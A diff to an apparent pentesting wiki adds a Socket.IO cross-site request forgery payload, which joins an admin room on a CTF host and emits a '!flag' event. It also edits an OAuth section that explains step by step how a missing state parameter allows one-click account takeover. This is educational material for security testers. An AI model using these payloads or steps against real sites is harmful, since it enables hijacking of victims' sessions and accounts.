GitBook: [master] 357 pages modified

pentesting-web/csrf-cross-site-request-forgery.md

@@ -369,6 +369,29 @@ x.onreadystatechange = function() {
 </script>
 ```
 
+### CSRF with Socket.IO
+
+```markup
+<script src="https://cdn.jsdelivr.net/npm/socket.io-client@2/dist/socket.io.js"></script>
+<script>
+let socket = io('http://six.jh2i.com:50022/test');
+
+const username = 'admin'
+
+socket.on('connect', () => {
+    console.log('connected!');
+    socket.emit('join', {
+        room: username
+    });
+  socket.emit('my_room_event', {
+      data: '!flag',
+      room: username
+  })
+
+});
+</script>
+```
+
 ## Tools <a id="tools"></a>
 
 * [https://github.com/0xInfection/XSRFProbe](https://github.com/0xInfection/XSRFProbe)

pentesting-web/oauth-to-account-takeover.md

@@ -87,13 +87,15 @@ Depending on the logic handled by the server, there are a number of techniques t
 
 ### Improper handling of state parameter <a id="bda5"></a>
 
-This is by far the most common issue I see in OAuth implementations. Very often, the `state` parameter is completely omitted or used in the wrong way. If a state parameter is nonexistent, or a static value that never changes, the OAuth flow will very likely be vulnerable to CSRF. Sometimes, even if there is a `state` parameter, the application might not do any validation of the parameter and an attack will work. The way to exploit this would be to go through the authorization process on your own account, and pause right after authorizing. You will then come across a request such as:
+This is by far the most common issue I see in OAuth implementations. Very often, the **`state` parameter is completely omitted or used in the wrong way**. If a state parameter is nonexistent, or a static value that never changes, the OAuth flow will very likely be vulnerable to CSRF. Sometimes, even if there is a `state` parameter, the application might not do any validation of the parameter and an attack will work. The way to exploit this would be to go through the authorization process on your own account, and pause right after authorizing. You will then come across a request such as:
 
 ```text
 https://yourtweetreader.com?code=asd91j3jd91j92j1j9d1
 ```
 
-After you receive this request, you can then drop the request because these codes are typically one-time use. You can then send this URL to a logged-in user, and it will add your account to their account. At first, this might not sound very sensitive since you are simply adding your account to a victim’s account. However, many OAuth implementations are for sign-in purposes, so if you can add your Google account which is used for logging in, you could potentially perform an Account Takeover with a single click as logging in with your Google account would give you access to the victim’s account.
+After you receive this request, you can then **drop the request because these codes are typically one-time use**. You can then send this URL to a **logged-in user, and it will add your account to their account**. At first, this might not sound very sensitive since you are simply adding your account to a victim’s account. However, many OAuth implementations are for sign-in purposes, so if you can add your Google account which is used for logging in, you could potentially perform an **Account Takeover** with a single click as logging in with your Google account would give you access to the victim’s account.
+
+You can find an **example** about this in this [**CTF writeup**](https://github.com/gr455/ctf-writeups/blob/master/hacktivity20/notes_surfer.md) and in the **HTB box called Oouch**.
 
 I’ve also seen the state parameter used as an additional redirect value several times. The application will use `redirect_uri` for the initial redirect, but then the `state` parameter as a second redirect which could contain the `code` within the query parameters, or referer header.